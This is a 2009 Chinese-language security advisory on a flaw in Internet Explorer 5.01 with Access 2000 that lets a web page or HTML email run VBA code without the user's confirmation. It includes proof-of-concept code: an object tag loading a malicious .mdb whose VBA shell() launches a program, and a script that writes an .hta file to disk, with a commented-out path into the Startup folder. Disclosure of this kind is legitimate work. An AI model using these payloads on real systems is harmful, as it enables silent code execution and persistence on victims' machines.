日期:2009-09-12  浏览次数:21045 次

微软 IE5.01 和 Access 2000 可使用户执行恶意 VBA 代码 (APP,缺陷)
  
涉及程序:
Microsoft Internet Explorer 5.01、Microsoft Access 2000

  
描述:
微软 IE5.01 和 Access 2000 可使用户执行恶意 VBA 代码

  
详细:
受影响的系统:
   Microsoft Access 2000
     + Microsoft office 2000
       - Microsoft Windows 98
       - Microsoft Windows 95
       - Microsoft Windows NT 4.0
       - Microsoft Windows NT 2000

   Microsoft Internet Explorer 5.01
     + Microsoft Windows 98
     + Microsoft Windows 95
     + Microsoft Windows NT 4.0
     + Microsoft Windows NT 2000

如果用户使用 IE 5.01 和 Access 2000,有可能被服务器远程执行 Visual Basic for Applications (VBA) 代码。通过 WWW 页面或使用了 IFRAME 的 HTML 格式的邮件,可以在远程浏览者的计算机上执行 VBA 代码,而无需用户确认。创建包含VBA代码的 *.mdb 文件,其中的 shell() 调用足以执行客户方任意已知的可执行文件。接下来,在 HTML 页面中通过 object tag 引用这些恶意的 *.mdb 文件,当浏览器加载这页面的时候,VBA代码将被执行。


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


-----------access.HTML----------------------------
<OBJECT data="db3.mdb" id="d1"></OBJECT>
-----------in Form1 of db3.mdb---------------------
Private Sub Form_Load()
On Error GoTo Err_Command0_Click
   Dim stAppName As String
   stAppName = "C:\Program Files\Accessories\wordpad.exe"
   MsgBox ("Trying to start: " & stAppName)
   Call Shell(stAppName, 1)

Exit_Command0_Click:
   Exit Sub

Err_Command0_Click:
   MsgBox Err.Description
   Resume Exit_Command0_Click
End Sub
---------------------------------------------------

---------------------------------------------------
<object data="Book1.xla" id="sh1" width=0 height=0>
</object>
<SCRIPT>
function f()
{
fn="C:\\georgi-xla.hta";
sh1.object.SaveAs(fn,6);
//sh1.object.SaveAs("C:\\windows\\Start
Menu\\Programs\\StartUp\\georgi-xla.hta",6);
alert(fn+" sucessfully written");
}
setTimeout("f()",5000);
</SCRIPT>
---------------------------------------------------